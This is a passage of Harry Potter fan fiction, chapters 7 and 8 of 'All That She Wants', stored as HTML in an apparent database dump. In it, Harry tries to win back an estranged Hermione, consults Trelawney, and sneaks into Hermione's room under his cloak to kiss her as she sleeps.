me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I&#8217;m not much of a dancer\nJustin.&#8221; Hermione said biting her bottom lip.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Aw come on, it&#8217;ll be fun.&#8221;\nJustin&#8217;s grin widened, it almost looked cartoony.&nbsp; Hermione couldn&#8217;t help it she started\nlaughing.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, I&#8217;ll go with you.&#8221; She\nsaid while in fits of laughter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s so funny?&#8221; Justin asked\nstill grinning.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing, it&#8217;s not important.&#8221;\nHermione said trying now to calm down.&nbsp;\nJustin nodded and the two of them proceeded to The Great Hall for\nLunch.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin pulled the Great Hall doors\nopen; it was usually customary for a gentleman to open the door for a\nlady.&nbsp; But he went inside first which\ncaused Hermione to stop abruptly so she wouldn&#8217;t run into him.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Harry\nalways opened the door and let you go fist.&nbsp;\nBe quiet I don&#8217;t even want to think about him.&nbsp; Too late.&nbsp;\nShut up!&#8217; </i>Hermione followed Justin into The Great Hall, he walked\ntowards his table and she headed to hers.&nbsp;\n<i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise was hunched over her plate\nwhen she felt the table shake; she glanced up as Harry sat down.&nbsp; She noticed a large bruise forming on his forehead.\n&#8220;What happened to you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head, &#8220;A door sort\nof slammed in my face.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Which door?&#8221; She looked at the\nbruise.&nbsp; &#8220;You should go to the hospital\nwing and have Madame Pomfrey fix that up for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s all right, I&#8217;ll live. It&#8217;s\nnot like my life is over because I got hit with a heavy door.&#8221;&nbsp; Harry said as he helped himself to a chicken\nleg from the center of the table and some pasta salad.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So how did your search go?&#8221;\nBlaise asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t want to talk about it.&#8221;\nHarry said as he tore into his chicken.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s the matter Harry?&#8221; She\narched her brow in her no nonsense way.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry swallowed his food and\nglanced up at Blaise.&nbsp; &#8220;I get the\ndistinct feeling that Hermione is ignoring me.&#8221;&nbsp;\nHe saw her trying to stifle a laugh; Harry&#8217;s eyes narrowed in anger at\nher.&nbsp; &#8220;I don&#8217;t see what&#8217;s so funny, why\nyou think you can laugh at my misery and pain.&#8221; He touched his bruise and\ncringed. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s not exactly funny, more\nalong the lines of she&#8217;s treating you no better then you deserve. If I was her\nI would ignore you too.&#8221; Blaise leaned back from her plate a bit regarding\nhim.&nbsp; &#8220;But then again, I never knew you\nto give up so easily.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I&#8217;m not giving up, this is\nonly the beginning.&#8221; Harry said twirling his fork in his pasta salad.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s the Harry spirit, but I\nhonestly think that you really messed this one up.&nbsp; But if you want my help you know where to\nfind me.&#8221; Blaise stood and walked to the other side of the table, she noticed\nHarry&#8217;s unhappiness as he slowly poked a spiral noodle with his fork. &#8220;You&#8217;ll\nbe fine Harry, you will.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He nodded, &#8220;I will get her to\naccept me back into her life, it seems to me she&#8217;s pretending that she doesn&#8217;t\neven know me.&nbsp; Can she really throw away\nalmost seven years of friendship because of some stupid things I said?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,&#8221; Blaise sighed resting her\nhand on his shoulder &#8220;What you said...You were very convincing, I know you\ndidn&#8217;t really mean it.&nbsp; But what you said\nand how you said it.&nbsp; Well she&#8217;s not\ngoing to trust you ever again.&nbsp; I know it\nsounds hopeless, but do you really expect her to talk to you, she can&#8217;t trust\nanything that comes out of your mouth.&#8221; Blaise removed her hand from his\nshoulder.&nbsp; &#8220;Good luck Harry, you are\ngoing to need it.&#8221; She moved quickly from the table and towards The Great Hall\ndoors.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">*****</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><br>\nHarry spent most of the day trying to get Hermione&#8217;s attention; she was not\nhaving any of it.&nbsp; Every time he tried to\neven go near her she would switch directions faster then the golden snitch.&nbsp; He followed her into the hospital wing when\nshe was doing a chore for Madame Pomfrey which again would earn her another\nextra credit.&nbsp; She was sitting down\nfilling out forms and Harry came towards the desk.&nbsp; He again opened his mouth to speak, when she\nreached into her bag and pulled out her Wizarding Wireless hand compact\nheadphone set; Hermione had placed the headphones on her ears and switched on\nthe compact to a very loud music station.&nbsp;\nSo she would rather blast her eardrums out then listen to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry had one more chance, this\ntime he was going to get her to talk to him.&nbsp;\nIt was after dinner and he was waiting in the common room, it wasn&#8217;t\nuntil much later that night that she came inside.&nbsp; She looked startled as she came through the\nportrait hole; obviously she waited long enough to make sure that he was asleep\nbefore she came in to bed.&nbsp; Harry\nimmediately got to his feet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione we really have to\ntalk.&#8221;&nbsp; Harry stressed in nothing but\npure desperate emotion.&nbsp; He saw Hermione\ntake a breath, she shook her head and started up the stairs. &#8220;Hermione please,\ndon&#8217;t almost seven years mean anything to you at all?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Obviously they don&#8217;t mean\nanything to you, so why should they to me?&#8221; Hermione said quietly.&nbsp; She hoped he didn&#8217;t hear that, but knowing\nhow good his hearing was it was more than certain that he did hear her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just five minutes, hear me out\nfor five minutes. That&#8217;s all I ask.&#8221; Harry was at the bottom of the stairs in\nan instant.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned around to face\nhim. &#8220;All right, you have five minutes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took a breath then started,\n&#8220;Okay then.&nbsp; I have been trying all day\nto tell you something very important, that I had just realized. I&#8217;ve been an\nidiot it&#8217;s true.&#8221; <i style="mso-bidi-font-style:normal">&#8216;Hurry up and tell her,\nshe looks ready to bolt up the rest of the stairs to her room.&#8217;</i>&nbsp;&nbsp; I want to tell you that I am in love with\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was silent,\nthinking.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;Oh no, he&#8217;s not going to get me to fall for that now is he?\nHonestly.&nbsp; He looks really sincere\nthough.&nbsp; Stop it remember what he said,\nand that was only yesterday. Hey you&#8217;re right.&nbsp;\nNo one is going to fool us&#8230;er me again. Ever.&nbsp; That&#8217;s right Hermione; tell him what you\nthink of him. Let him have it good.&#8217; </i>&nbsp;Hermione&#8217;s eyes narrowed slightly.&nbsp; &#8220;You really expect me to believe that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glanced around nervously,\n&#8220;Uh yeah I do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You must think I&#8217;m a real idiot.&#8221;\nHermione said her voice rising as well as her temper.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ve never thought you were an\nidiot.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes you do, what makes you think\nI&#8217;m going to fall for your tricks a second time?&nbsp; You must have been counting on my stupidity.&#8221;\nHermione&#8217;s hands found her hips as she stared down at him horridly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s not a trick.&nbsp; Hermione you know me I would never trick\nyou.&#8221; Harry said as he felt the chunks rising in his throat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I thought I did, I have never\nbeen so wrong about person in my entire life.&nbsp;\nYou will not&#8212;&#8221; Hermione was interrupted by Harry as he quickly ascended\nthe stairs, he was two steps below her, they were right at eye level. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why do you think I&#8217;m trying to\ntrick you?&#8221; Harry asked quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gave a little sarcastic\nsmile. &#8220;Oh let me think.&nbsp; It was just\nyesterday a few hours earlier than it is now.&nbsp;\nYou told me a few things, like I was annoying, a downright pest, how\ncould anyone even want to love me. Would you like me to repeat the words\nexactly?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head, &#8220;No.&#8221;&nbsp; Harry felt the sting of his betrayal finally\nerupt in his heart.&nbsp; He was really\ncruel.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And now you come here and tell me\noh you&#8217;re in love with me,&#8221; Hermione laughed harshly. &#8220;You had a brainstorm, oh\nwait she said she loves me, and even though I told her the truth I can tell her\nI didn&#8217;t mean it and then finally get my prize.&#8221; She said sarcastically.&nbsp; &#8220;I don&#8217;t think so.&#8221; Her face looked very\nserious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But I didn&#8217;t mean it, I didn&#8217;t.&#8221;\nHe said quietly.&nbsp; &#8220;I love you Hermione,\nand you love me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No I don&#8217;t.&#8221; Hermione lied and\nshe turned to walk up the stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes you do.&#8221; He shouted to her\nretreating back, &#8220;I know you so well; I know that you don&#8217;t fall in and out of\nlove that fast.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I do not love you,&#8221; Hermione said\nglaring at him.&nbsp; &#8220;How can I love someone\nwho treated me worse then Weasley ever treated me, you must think I have a\nserious mental condition for me to want that kind of treatment.&nbsp; Besides I&#8217;m happy with Justin,&#8221; She added.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Justin!&#8221; Harry screeched, &#8220;That\nidiot is all wrong for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes, &#8220;I am\nnot having this conversation with you or any other conversation with you ever\nagain.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I love you Hermione and I&#8217;m not\ngiving up,&#8221; Harry said.&nbsp; He was full of\nconfidence.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Stay away from me,&#8221; Hermione\ndemanded, this was something she did not need.&nbsp;\nShe did not need him chasing after her.&nbsp;\nHermione knew that when Harry had his sights on someone he always got\nher, no matter what.&nbsp; She was not going\nto be the flavor of the week.&nbsp; Not at\nall.&nbsp; &#8220;I don&#8217;t even want you speaking to me;\nI want it to be as if we had never met.&nbsp; &nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We do have a few classes together\nyou know?&nbsp;&nbsp; You won&#8217;t be able to ignore\nme forever.&#8221; Harry pointed out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ve been doing fair job of it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Up until now Hermione, I managed\nto get you to speak to me.&nbsp; Its only been\na day since the incident.&#8221; Harry grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione hated him.&nbsp; How dare he look so adorable with that grin\nof his, and those piercing green eyes that would just make anyone believe every\nthing he said. She was already melting. <i style="mso-bidi-font-style:normal">&#8216;No,\nget a hold of yourself.&nbsp; It&#8217;s a trick,\nyou are stronger than that.&nbsp; That&#8217;s right\nI am.&#8217;</i> &nbsp;Hermione took a breath, and\ncomposed herself.&nbsp; &nbsp;&#8220;Leave me alone.&#8221; Was the last thing she said\nbefore she took herself completely up the stairs and into her room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stared at Hermione&#8217;s closed\ndoor, his eyes lowered to the step he was standing on, he hadn&#8217;t moved an inch.\n<i style="mso-bidi-font-style:normal">&#8216;She will believe me; I will get her to\nbelieve me.&nbsp; I&#8217;m not going to lose\nher.&nbsp; Lose?&#8217;</i> Harry thought a moment as\nTrelawney&#8217;s love prediction came back at him full force. He could just hear her\nall annoying mystical sounding voice. <i style="mso-bidi-font-style:normal">&#8216;You\nwill love and you will lose&#8217;</i> His head shot up,&nbsp; the ole bat was actually right about\nsomething.&nbsp; &#8216;<i style="mso-bidi-font-style:\nnormal">Oh hell!&#8217;</i>&nbsp; Harry took a deep\nbreath and he raced from the common room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He hurried up to the divination\nclassroom.&nbsp; Harry knew that Trelawney\nalways slept in her class room, but in the back room.&nbsp; He pounded violently on the door, after a few\nminutes the door opened and a very tired looking Professor Trelawney stood\nthere in a fuzzy pink bathrobe with stars on it and curlers in her hair, she\nhad a very unpleasant sneer on her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Mr. Potter, do you realize that\nit&#8217;s one in the morning?&#8221; She growled sarcastically.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes I do, but this was urgent.&#8221;\nHarry said as he tried to catch his breath from his run up to the classroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Whatever it is, it can wait until\nclass tomorrow.&#8221; Trelawney tried closing the door on him but Harry stuck his\nfoot in between the door and the archway.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, I need you to read my hand\nagain and tell me what you see.&#8221; Harry demanded while holding his hand out to\nher.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Mr. Potter go to bed.&#8221; Trelawney\nordered.&nbsp; She noticed he wasn&#8217;t budging. &#8220;Don&#8217;t\nmake me give you detention.&#8221; She threatened.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry had an idea; he would get\nher to do what he wanted. He inwardly smirked. Harry appeared sad. &#8220;Okay I&#8217;ll\ngo.&nbsp; I&#8217;ll just be sure to inform students\nthat you really can&#8217;t predict anything; I thought you could see the future any\ntime night or day, tired or awake. &nbsp;I\nguess I was wrong, there will be so many disappointments.&#8221; Harry turned to go\nhe heard Trelawney sigh.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come in.&#8221; She said plainly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled and followed the\nprofessor inside her classroom.&nbsp; He sat\ndown in a chair in front of a large crystal ball.&nbsp; Trelawney sat in the chair directly across\nfrom him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay what&#8217;s all this about me\nneeding to read your hand again?&#8221; The Professor yawned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I made a terrible mistake\nand I need you to tell me if there&#8217;s any chance of it being corrected.&#8221; Harry\nheld his hand out to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The professor nodded and took his hand;\nshe glanced down at his palm.&nbsp; &#8220;I take it\nyou fell in love.&#8221; She smiled.&nbsp; Even\nthough her head was bent she could still see Harry nod.&nbsp; Trelawney didn&#8217;t see anything different.&nbsp; She looked up at him a sorrowful expression\non her face.&nbsp; &#8220;I&#8217;m sorry, there&#8217;s nothing\ndifferent here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you sure?&#8221; Harry asked,\nswallowing hard and he even looked into his own hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Trelawney let go of his hand, &#8220;Nothing\nis different.&nbsp; Sometimes things don&#8217;t go\nthe way we want them too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I won&#8217;t believe that.&#8221; Harry said\nas he glared down at the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Trelawney smiled at him, she\nlightly touched him on the shoulder which cause Harry to lift his eyes to\nhers.&nbsp; &#8220;Look Mr. Potter, nothing is set\nin stone, No one&#8217;s fate has been written yet.&nbsp;\nIf anything is going to change it would have to be because you want it\nto.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;I understand.&#8221; He\nstood.&nbsp; &#8220;Sorry to have wakened you for\nnothing.&#8221; He glanced at the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Trelawney yawned while waving to\nhim. &#8220;It&#8217;s all right.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">With a sad sigh Harry left the\nclass room and returned to his.&nbsp; He sat\non his bed facing the door that led to the bathroom.&nbsp; He had to see Hermione, even if she was\nsleeping.&nbsp; But if he went into her room\nshe would curse him without so much as a second thought.&nbsp; That made him think of his invisibility cloak,\nit would be the first time in a few years since he used it.&nbsp; It was time to get the old thing out again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry went to his trunk, and\nquickly dug through it.&nbsp; He found the\ncloak buried underneath other clothing.&nbsp;\nHe pulled it out and slipped it over him.&nbsp; Harry went to the door in the bathroom that\nled to Hermione&#8217;s.&nbsp; He tried to turn the\nhandle. It was locked. She never locked her door before.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Things\nhave changed, she hates you now.&nbsp; No she\ndoesn&#8217;t.&nbsp; Yes she does.&#8217;</i>&nbsp; Harry sighed, he wasn&#8217;t going to win that war\nwith his head.&nbsp; He took out his wand and\npointed it at the handle and whispered &#8220;Alohomora.&#8221;&nbsp; The door handle\nclicked a little.&nbsp; Harry turned the\nhandle and pushed the door open quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The room was bathed in bright moonlight, since it\nwas a full moon that night.&nbsp; Harry didn&#8217;t\neven need to light the end of his wand to see; he stepped inside the room and\ngently closed the door behind him.&nbsp; Harry\nquietly moved towards her bed, he nearly stopped breathing at the sight of her\nasleep surrounded by soft pillows. &nbsp;She\nwas hugging one snuggly against her.&nbsp;\nHermione&#8217;s hair was fanned out behind her, lightly resting on a blue pillow.\nHer face looked soft no traces of anger or betrayal upon her face as she\nslept.&nbsp; She had left the world of reality\nand entered the world of her dreams.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry gently leaned over so that he was half way lying\non her bed, the mattress didn&#8217;t even shift since he really didn&#8217;t put his\nweight on it for his knees were on the floor.&nbsp;\nHarry&#8217;s face was next to hers; he lifted his hand and gently moved the\nhair away from her forehead. &nbsp;He\nsighed.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;Oh please forgive me, please.&#8217;</i>&nbsp;\nHis fingers lightly traced her cheek.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8216;I love you.&nbsp; You&#8217;ll see, you will.&#8217;</i>&nbsp; &nbsp;He\nstared at her for what seemed like an eternity, and without really thinking he\npressed his lips lightly against hers.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That was a mistake, Hermione immediately shot up in\nher bed.&nbsp; She lifted her fingers to her\nlips and touched them.&nbsp; Hermione glanced\naround the room, she didn&#8217;t see anyone.&nbsp;\nShe looked suspiciously at her pillows, and slowly reached out her\nhand.&nbsp; Her palm flattened against her\npillow, she even moved her hand around in circles, not really knowing what she\nwas feeling for. But something in the back of her mind told her to do that.&nbsp; Her eyes shifted from side to side.&nbsp; She was sure she felt some kind of pressure\non her mouth, perhaps she was just dreaming.&nbsp;\nHermione shrugged oh well and snuggled back down into her pillows. She\nclosed her eyes to sleep.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was lying flat on his stomach on the floor. <i style="mso-bidi-font-style:normal">&#8216;Stupid, stupid&#8217;</i> His mind shouted<i style="mso-bidi-font-style:normal"> &#8216;Why did I have to go and kiss her?&nbsp; Because you wanted to.&nbsp; So what I could have gotten caught.&nbsp; But you didn&#8217;t.&nbsp; That&#8217;s right I didn&#8217;t.&#8217;</i>&nbsp; Harry started to smirk but he quickly pushed\nit away<i style="mso-bidi-font-style:normal"> &#8216;It was still wrong, true it\nwas.&nbsp; But it doesn&#8217;t matter now, its\nover. I should return to my room.&#8217; </i>&nbsp;&nbsp;That was true but now he had to wait awhile,\nHermione would probably fall asleep any minute now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After about fifteen minutes he heard Hermione&#8217;s\ngentle breathing, he stood since he was shielded by his cloak.&nbsp; He looked about her face and saw her chest\ngently rising and falling.&nbsp; She was\nasleep.&nbsp; Harry crept quietly from\nHermione&#8217;s room and into his own.&nbsp; He\nthrew off the cloak and quickly shed his clothing; he jumped into his bed and\npulled the covers up against his chest.&nbsp; He\nremoved his glasses and leaned into his pillows.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Tomorrow they had Potions, Hermione was his partner\nthere was no way she could avoid him there. Ha, he would be able to start her\non the road to trusting him again.&nbsp; Yes\ntomorrow would be the start of something new.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=======</p>\n\n<p class="MsoNormal">Well\nthat&#8217;s it for chapter 7, I hoped you liked it.&nbsp;\nStay tuned for chapter 8 it will be a blast.&nbsp; Please review thanks Ryoko</p>\n\n\n\n\n\n\n'),
	(15, 8, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">Disclaimer:&nbsp; No way are any of\nthe original HP characters mine they totally belong to J.K. Rowlings.&nbsp; You are nuts to even think that I own this,\nwhere do you people get your information. Honestly :)</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A/N:&nbsp; If you haven&#8217;t read Heaven&#8217;s fic Hogsmeade Pizza go and read it, its\nreally awesome.&nbsp; Also go and read Sirius\nPotter&#8217;s fics, he&#8217;s 100, no\n1000 no, 1,000,000 times better a writer I am ^_~</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">All\nThat She Wants</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n8&#8212; Can\'t Stop This Thing We Started</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione yawned as she walked\ntowards potions; her first class of the morning had dragged on and on.&nbsp; She was so tired from trying to avoid <i style="mso-bidi-font-style:normal">&#8216;Him&#8217;</i> last night.&nbsp; Her eyes narrowed in bitterness as she\nthought it was his fault she was so tired.&nbsp;\nThat settled it; she would just try to ignore him in her class\ntoday.&nbsp; A moment later she stopped short;\nright in the entrance of the classroom, her eyes widened.&nbsp; How could she possibly avoid him he was her\npotions partner.&nbsp;\nAs soon as she saw Harry who looked like he was waiting for her, she got\na most brilliant idea.&nbsp; She really didn&#8217;t\nwant to be partners with him anymore and decided to see Professor Snape about\nit.&nbsp; Hermione gave Harry a stern glare\nbefore walking right up to the professor&#8217;s desk, she cleared her throat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you need something Miss\nGranger?&#8221; He asked obviously irritated by her mere presence. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I was wondering if we students\ncould possibly change partners.&#8221; Hermione held her head up high.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Snape felt a smirk creeping on,\nbut he held it back.&nbsp; &#8220;And just why would\nyou want to change partners?&nbsp; You two\nlove birds not getting along anymore?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione glared at the professor\nfor a moment then continued to speak.&nbsp; &#8220;I\nwas just thinking that if we switched partners Harry Potter would fail this\nclass, you and I both know he&#8217;s nothing without my 